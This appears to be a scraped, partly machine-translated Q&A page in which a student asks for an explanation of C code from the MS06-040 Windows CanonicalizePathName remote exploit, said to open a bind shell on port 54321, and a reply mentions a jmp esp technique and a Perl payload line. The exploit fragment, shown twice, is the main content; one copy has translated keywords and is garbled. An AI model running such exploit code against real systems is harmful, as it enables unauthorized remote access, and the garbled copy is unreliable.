Warning: file_get_contents(/data/phpspider/zhask/data//catemap/0/windows/14.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Windows 缓冲区溢出攻击代码_Windows_Security_Buffer Overflow_Exploit - Fatal编程技术网

Windows 缓冲区溢出攻击代码

Windows 缓冲区溢出攻击代码,windows,security,buffer-overflow,exploit,Windows,Security,Buffer Overflow,Exploit,嗨,我在windows 2000服务器上做了一个漏洞攻击,作为任务的一部分,需要一些帮助。我附上了一个c文档中的漏洞代码截图,但我真的不明白这段代码的作用,我想知道是否有人能向我解释一下这段硬代码在漏洞攻击中到底做了什么。到目前为止,我知道这段代码在端口54321为我提供了一个远程绑定shell [Buffer - overflow exploit code][1] char peer0_14[]{ 0x00,0x00,0x00,0x66,0xff,0x53,0x4d,0x42, 0x25

嗨,我在windows 2000服务器上做了一个漏洞攻击,作为任务的一部分,需要一些帮助。我附上了一个c文档中的漏洞代码截图,但我真的不明白这段代码的作用,我想知道是否有人能向我解释一下这段硬代码在漏洞攻击中到底做了什么。到目前为止,我知道这段代码在端口54321为我提供了一个远程绑定shell

  [Buffer - overflow exploit code][1]
char peer0_14[]{
0x00,0x00,0x00,0x66,0xff,0x53,0x4d,0x42,
0x25,0x00,0x00,0x00,0x00,0x18,0x01,0x20,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x08,0x30,0x1d,
0x00,0x08,0x84,0xec,0x10,0x00,0x00,0x1c,
0x00,0x00,0x04,0xe0,0xff,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x4a,0x00,0x1c,0x00,0x4a,0x00,0x02,
0x00,0x26,0x00,0x00,0x40,0x23,0x00,0x5c,
0x50,0x49,0x50,0x45,0x5c,0x00,0x05,0x00,
0x00,0x02,0x10,0x00,0x00,0x00,0x1c,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,
0x00,0x00,0x00,0x00,0x1f,0x00,0x00,0x00,
0x00,0x00};
int main(int argc,字符**argv)
{
int-fd;
int con;
int repbf[20000];
目标中的结构sockaddr_;
如果(argc<2)
{
printf(“Microsoft Windows CanonicalizePathName()远程攻击(MS06-040)\n”);
printf(“在WindowsXP SP1 EN上测试,在端口54321上获得bindshell\n”);
printf(“Win2k应该在services.exe中出现崩溃\n”);
printf(“我使用了默认的smbdomain:WORKGROUP\n\n”);
printf(“用法:%s\n”,argv[0]);
printf(“示例:%s 192.168.1.103\n\n”,argv[0]);
printf(“作者:Preddy\n”);
printf(“RootShell安全组”);
printf(“www.team-rootshell.com\n”);
出口(1);
}
fd=套接字(AF_INET,SOCK_STREAM,0);
如果(fd<0)
{
perror(“无法创建套接字\n”);
出口(1);
}
printf(“目标:%s\n”,argv[1]);
target.sinu family=AF\u INET;
target.sin_addr.s_addr=inet_addr(argv[1]);
target.sin_port=htons(port);
con=connect(fd,(struct sockaddr_in*)和target,sizeof(target));
如果(con<0)
{
printf(“无法连接\n”);
出口(1);
}
这是攻击代码
谢谢

因为您粘贴的代码不是完整的利用漏洞代码,而且所有数据都是数组形式,所以很难理解利用漏洞的工作原理

我建议你看看下面的链接

我没有对它进行反向工程,但它似乎使用了jmp esp技巧,并为这个小工具使用了固定地址。也许我认为您应该更改一些偏移量以适合您的操作系统版本

对于XP版本,以下行是利用漏洞的关键

my$path=$shellcode.(pack('V',$target->[2])x 16)。“\x00\x00”

char peer0_14[] = {
0x00, 0x00, 0x00, 0x66, 0xff, 0x53, 0x4d, 0x42, 
0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x30, 0x1d, 
0x00, 0x08, 0x84, 0xec, 0x10, 0x00, 0x00, 0x1c, 
0x00, 0x00, 0x04, 0xe0, 0xff, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x4a, 0x00, 0x1c, 0x00, 0x4a, 0x00, 0x02, 
0x00, 0x26, 0x00, 0x00, 0x40, 0x23, 0x00, 0x5c, 
0x50, 0x49, 0x50, 0x45, 0x5c, 0x00, 0x05, 0x00, 
0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x1c, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 
0x00, 0x00 };


int main(int argc,char **argv)
{

int fd;
int con;
int repbf[20000];

struct sockaddr_in target;


if(argc < 2)
{

printf("Microsoft Windows CanonicalizePathName() Remote Exploit (MS06-040)\n");
printf("Tested on WindowsXP SP1 EN and got a bindshell on port 54321\n");
printf("Win2k should give a crash in services.exe\n");
printf("I've used the default smbdomain: WORKGROUP\n\n");
printf("Usage: %s <ip>\n",argv[0]);
printf("Example: %s 192.168.1.103\n\n",argv[0]);
printf("Written by: Preddy\n");
printf("RootShell Security Group\n");
printf("www.team-rootshell.com\n");

exit(1);

}

fd = socket(AF_INET,SOCK_STREAM,0);

if(fd < 0)
{

perror("Could not create socket\n");
exit(1);
}

printf("Target: %s\n",argv[1]);

target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(argv[1]);
target.sin_port = htons(PORT);

con = connect(fd,(struct sockaddr_in *)&target,sizeof(target));

if(con < 0)
{

printf("Could not connect\n");
exit(1);
}